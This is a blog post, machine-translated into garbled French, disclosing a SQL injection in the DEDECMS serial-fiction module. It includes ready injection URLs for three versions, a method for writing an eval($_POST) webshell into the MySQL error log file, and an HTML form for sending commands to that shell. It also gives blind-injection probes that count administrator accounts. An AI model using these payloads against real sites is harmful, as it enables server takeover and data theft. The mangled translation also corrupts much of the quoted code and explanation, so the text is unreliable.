Fiction de série du module DEDECMS 0day-0 jours articles Condo, La magic_quotes_gpc, mybooks.php, mysql_error_trace.inc, mysql_error_trace.php, story_books.php, story_list_chapter.php, story_list_content.php, story_stow.php, l'injection, le message St0P-blog de l '

Fiction DEDECMS module de 0day série

Cette entrée a été posté le 22 septembre 2009

: Le message St0P
Ne peut être reproduite, mais s'il vous plaît indiquer le http://www.st0p.org source de

Parce que le trou semble dans le module DEDECMS le roman-feuilleton, tant que roman feuilleton des élections DEDECMS installer le module, puis ce problème, certaines versions sous les conditions le permettent, vous pouvez obtenir directement SHELL Oh.
résumé le message St0P sur l'utilisation de conditions conditions: Lorsque le serveur de configuration de PHP, magic_quotes_gpc = Off
Condition 2: le système cible DEDECMS montage en série de fiction module est sélectionné

Tout d'abord, regardons Condo articles 5.1, le nouveau canal et des articles 5.3.1 Condo Condo articles 5.5, parce que son dossier dans le répertoire des membres, le fichier est un membre Condo / story_books.php articles 5.3.1 et Condo articles 5.5 fichier Dans le répertoire livre, le fichier est un livre / story_books.php
En raison de l'intérieur un code similaire, donc, regardons une ligne story_books.php

  <? Php
 ......
 ! isset ( $action ) ) $action = '' ; //检测变量$action是否存在，不存则则给初使值 si $ action ='' (isset ($ action)!); / / détection de la variable $ l'action si il n'existe pas, alors à la valeur initiale
 ! isset ( $catid ) ) $catid = 0 ; //检测变量$catid是否存在，不存则则给初使值 si catid = 0 $ (la fonction isset ($ catid)!); / / tester la variable $ catid existe n'existe pas est trop tôt pour faire la valeur
 ! isset ( $keyword ) ) $keyword = "" ; //检测变量$keyword是否存在，不存则则给初使值 si $ mot = "" (isset ($ mot)!); / / détection de la variable $ mot existe, n'existe pas, alors à la valeur initiale
 ! isset ( $orderby ) ) $orderby = 0 ; //检测变量$orderby是否存在，不存则则给初使值 si $ l'orderby = 0 (isset ($ l'orderby)!); / / détecter la variable $ orderby une si il n'existe pas est trop tôt pour faire la valeur
 ......
 $catid != 0 ) $addquery .= " And (b.bcatid=' $catid ' Or b.catid=' $catid ') " ; if ($ catid = 0!) $ addQuery = "Et (b.bcatid = '$ catid" Ou b.catid =' $ catid ') ".; 
 / / Variable $ catid n'est pas 0, directement à l'addQuery catid $ à non vérifié
 $keyword != "" ) $addquery .= " And (b.bookname like '% $keyword %' Or b.author like '% $keyword %') " ; (! $ mot = "") si $ = addQuery. "Et (b.bookname like '% $ mot%' Or b.author like '%% $ mot')";
 / / Variable $ mot-clé n'est pas vide, il est une conséquence directe $ mot-clé pour $ addQuery non vérifié
 " $ Query = " 
     Sélectionner b.id, b.catid, b.bookname, b.booktype, b.litpic, b.postnum, b.senddate, b.ischeck, c.id que cid, c.classname De # @ __ story_books b 
     left join # @ __ story_catalog c sur c.id = b.catid où = {$ MemberID cfg_ml-> M_ID} et b.id> 0 $ $ orderby addQuery 
  ";
 / / Générer la déclaration
 ......
 ?>

Le code ci-dessus pour voir, Ga, catid et le mot-clé il n'ya pas de filtre, de sorte cela est causé par l'injection, mais il semble constituer la déclaration est un peu de mal, ce n'est pas dans cet article traite de la portée de notre petit exemple essayer les actions suivantes s'il vous plaît testé après l'atterrissage, compte d'inscription directe, connexion, puis entrez l'adresse suivante

Condo articles 5.1

Test de catId variable à l'adresse suivante
http://st0p:88/dedecms51/member/story_books.php?catid=10 ') ou («message St0P' =" message St0P

Le deuxième essai mot-clé des variables, l'adresse suivante
http://st0p:88/dedecms51/member/story_books.php?keyword=st0p% »ou c.classname comme« le message St0P%

Condo articles 5.31

Test de catId variable à l'adresse suivante
http://st0p:88/dedecms53/book/story_books.php?catid=10 ') ou («message St0P' =" message St0P

Le deuxième essai mot-clé des variables, l'adresse suivante

http://st0p:88/dedecms53/book/story_books.php?keyword=st0p% »ou c.classname comme« le message St0P%

Condo articles 5.5

Test de catId variable à l'adresse suivante
http://st0p:88/dedecms55/book/story_books.php?catid=10 ') ou («message St0P' =" message St0P

Le deuxième essai mot-clé des variables, l'adresse suivante
http://st0p:88/dedecms55/book/story_books.php?keyword=st0p% »ou c.classname comme« le message St0P%

Voir les trois versions, la dernière version de DEDECMS injecter limites de la déclaration du injecté de l'essayer, le message St0P pas parler.
En fait, tant que nous changeons de l'autorisation de prendre des points, rappelez-vous que l'erreur MYSQL écrit dans le bug suffixe PHP fichier journal, 5.1 ne semble pas fonctionner, certains 5,31 non patché, ensuite, si le patch comme suffixe 5.5 a changé son nom à l'INC afin écrite dans le mot cheval, mais ne pouvait pas utiliser. . . Pauvre ah, si même la détection précoce est à travers la mort. . .

Condo articles 5.31
include / dedesql.class.php fichier

  ......
	 / Informations sur les erreurs / d'affichage sur la liaison de données
	 $msg ) l'DisplayError fonction ($ msg)
	 {
		 dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ; //这里是PHP后缀 ErrorTrackFile $ = dirname (__ FILE__) '/ .. / données et mysql_error_trace.php';. / / Voici le suffixe PHP
		 '' ; EMSG $ ='';
		 "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; EMSG $ = "<div> <h3> DedeCMS Avertissement d'une erreur </ H3> \ r \ n".;
		 "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $ EMSG = "<div> Class=" thickbox" href='http://bbs.dedecms.com' target='_blank' style='color:red'> Support technique:. Http://bbs. dedecms.com </ a> </ div> ";
		 "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; EMSG $ = "<div Style='line-helght:160%;font-size:14px;color:green'> \ r \ n".;
		 "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; EMSG $ = "<div Style='color:blue'> <br /> page d'erreur: <font color='red'>"... $ This -> GetCurUrl () "</ font> </ div> \ r \ n ";
		 "<div>Error infos: {$msg} </div> \r \n " ; EMSG $ = "erreur infos clés: {$ msg} </ div> \ r \ n".;
		 "<br /></div></div> \r \n " ; EMSG $ = "<br /> </ div> </ div> \ r \ n".;

		 ; echo $ EMSG;

		 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; $ Savemsg = 'Page:' $ this -> GetCurUrl () "\ r \ n Erreur:". $ Msg;..
		 / / Enregistrer le fichier de logs MySQL
		 fopen ( $errorTrackFile , 'a' ) ; $ Fp = fopen @ (errorTrackFile $, 'a');
		 ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ Fwrite ($ fp, '<'. '? Php'. "\ R \ n / * \ r \ n {} $ savemsg \ r \ n * / \ r \ n?". "> \ R \ n" );
		 ( $fp ) ; @ Fclose ($ fp);
	 }
 ......

Condo articles 5.5 et patché
include / dedesql.class.php fichier

 function DisplayError ( $msg ) { $errorTrackFile = dirname ( __FILE__ ) . '/../data/mysql_error_trace.inc' ; //后缀变成INC了 if ( file_exists ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ) //如果mysql_error_trace.php存在，删除文件 { @ unlink ( dirname ( __FILE__ ) . '/../data/mysql_error_trace.php' ) ; } $emsg = '' ; $emsg .= "<div><h3>DedeCMS Error Warning!</h3> \r \n " ; $emsg .= "<div><a class=" thickbox " href='http://bbs.dedecms.com' target='_blank' style='color:red'>Technical Support: http://bbs.dedecms.com</a></div>" ; $emsg .= "<div style='line-helght:160%;font-size:14px;color:green'> \r \n " ; $emsg .= "<div style='color:blue'><br />Error page: <font color='red'>" . $this -> GetCurUrl ( ) . "</font></div> \r \n " ; $emsg .= "<div>Error infos: {$msg} </div> \r \n " ; $emsg .= "<br /></div></div> \r \n " ; echo $emsg ; $savemsg = 'Page: ' . $this -> GetCurUrl ( ) . " \r \n Error: " . $msg ; //保存MySql错误日志 $fp = @ fopen ( $errorTrackFile , 'a' ) ; @ fwrite ( $fp , '<' . '?php' . " \r \n /* \r \n {$savemsg} \r \n */ \r \n ?" . "> \r \n " ) ; @ fclose ( $fp ) ; } ...... . / / Affichage des données des informations d'erreur sur le lien DisplayError fonction ($ msg) {$ = errorTrackFile de dirname (__ FILE__) '/ .. / Données / mysql_error_trace.inc';. / / Suffixe devenu si INC (file_exists (dirname (__ FILE__). '/. les données et / mysql_error_trace.php')) / / si mysql_error_trace.php existent, supprimez le fichier {@ unlink (dirname (__ FILE__). '/ .. / données et mysql_error_trace.php') ;} $ EMSG =''; $ EMSG = "Attention <div> <h3> erreur DedeCMS </ h3> \ r \ n";.. EMSG $ = "<div> <class a =" thickbox "href = «http://bbs.dedecms.com 'target =' _blank 'style =' color: red '> Support technique:. http://bbs.dedecms.com </ a> </ div>"; $ EMSG = "<div style='line-helght:160%;font-size:14px;color:green'> \ r \ n";. EMSG $ = "<div style='color:blue'> <br /> erreur page: ".. $ this -> GetCurUrl ()" <font color='red'> </ font> </ div> \ r \ n "; $. EMSG =" erreur infos clés: {$ msg} . </ div> \ r \ n ";. EMSG $ =" <br /> </ div> </ div> \ r \ n "; echo $ EMSG; $ savemsg = 'Page:' $ this -> GetCurUrl () "\ r \ n Erreur:". $ msg; / / Enregistrer le message d'erreur MySql log $ fp = @ fopen ($ errorTrackFile, 'a'); @ fwrite ($ fp, '<'. 'php?'. . "? \ r \ n / * \ r \ n {} $ savemsg \ r \ n * / \ r \ n" "> \ r \ n"); @ fclose ($ fp);} ..... .

Lire le code ci-dessus, nous le comprenons, 5,5 et 5,31 sera patché dans cette, ne peut pas utiliser, nous disons que sur les 5,31 peut prendre avantage de la méthode.
L'utilisation de méthodes

% http://st0p:88/dedecms53/book/story_books.php?keyword=st0p '* / eval ($ _POST [message St0P]);?>

Hey. Alors que nous obtenir un shell
Adresse de Word pour http://st0p:88/dedecms53/data/mysql_error_trace.php
POST direct à soumettre des données sur l'utilisation de Condo articles 5.5 est le même, mais parce que le code à traiter, de sorte que le généré extension de fichier INC, il ne sert à rien, la suivante est utilisée pour soumettre les codes HTM, il suffit de mettre le tableau ci-dessous seule adresse que vous étiez dedans

  "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 "http://www.w3.org/1999/xhtml" > Xmlns = <html "http://www.w3.org/1999/xhtml">
 <Head>
 equiv = "Content-Type" content = "text/html; charset=utf-8" /> <Meta-http-Equiv = contenu "Content-Type" = "text / html; charset = utf-8" />
 "author" content = "st0p,st0p.org" /> <meta Name = contenu "author" = "st0p, st0p.org" />
 st0p一句话提交</ title > <Titre> Message St0P mot soumis </ title>
 </ Head>

 <Body>
 //st0p:88/dedecms53/data/mysql_error_trace.php换成你的地址--> <-! Http: / / message St0P: 88/dedecms53/data/mysql_error_trace.php remplacé par votre adresse ->
 "form1" name = "form1" method = "post" action = "http://st0p:88/dedecms53/data/mysql_error_trace.php" > <Form Id = name = "form1" méthode "form1" = action = "post" "http://st0p:88/dedecms53/data/mysql_error_trace.php">
   <P>
     <Label>
       "st0p" id = "st0p" cols = "45" rows = "5" > echo phpinfo ( ) ;</ textarea > <textarea Name = id = "st0p" "st0p" cols = "45" rangs = "5"> écho phpinfo (); </ textarea>
     </ Label>
   </ P>
   <P>
     <Label>
       "submit" name = "button" id = "button" value = "提交" /> <input Type = "submit" name = id = valeur "button" "button" = "Submit" />
     </ Label>
   </ P>
 </ Form>
 </ Body>
 </ Html>

Bien sûr, module de la fiction de série, il ya d'autres documents il ya aussi le même problème il ya plusieurs fichiers de ce qui suit
story_stow.php
mybooks.php
story_books.php
story_list_chapter.php
story_list_content.php

A été initialement pensé publié ce 0day,, Random Thoughts plus que l'intersection d'amis bovins point X, partager l'information, nous avons donc décidé d'émettre, après quelques moins de matières grasses. . .
Il ya des problèmes, nous pouvons discuter dans mon BLOG!

Remarque: Après la libération de l'article, un ami m'a dit après avoir lu ce très mauvais goût, parce que beaucoup de serveur magic_quotes_gpc = On le cas, que je n'ai pas l'intention de faire valoir, mais j'ai écrit la question est existe, je veux juste utiliser certaines conditions 5,31 et 5,5, dans la version 5.1 de l'avant-plan peut ajouter des livres en série, dont certains avec filtre certains mots clés dans SQL, est si semblable à aucun moyen, nous avons pour détecter la version 5.1 il ya la gestion de plusieurs membre, par exemple.
1, nous voulons ajouter un livre sérialisé
2, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') ou (select count (*) à partir dede_admin)> 0 ou (' message St0P '=' st0pa

3, http://st0p:88/dedecms51/member/story_books.php?catid=10 ') ou (select count (*) à partir dede_admin)> 1 ou (' message St0P '=' st0pa

Ga, la conclusion ci-dessus est le numéro 1 administrateur. . .
Exemple pour citer ce, en effet, la vulnérabilité peut se produire à tout moment, mais se soucient de l'environnement est différent, différents effets et à en faire bon usage de la, et parfois des choses insipides également se révéler fructueuse. . .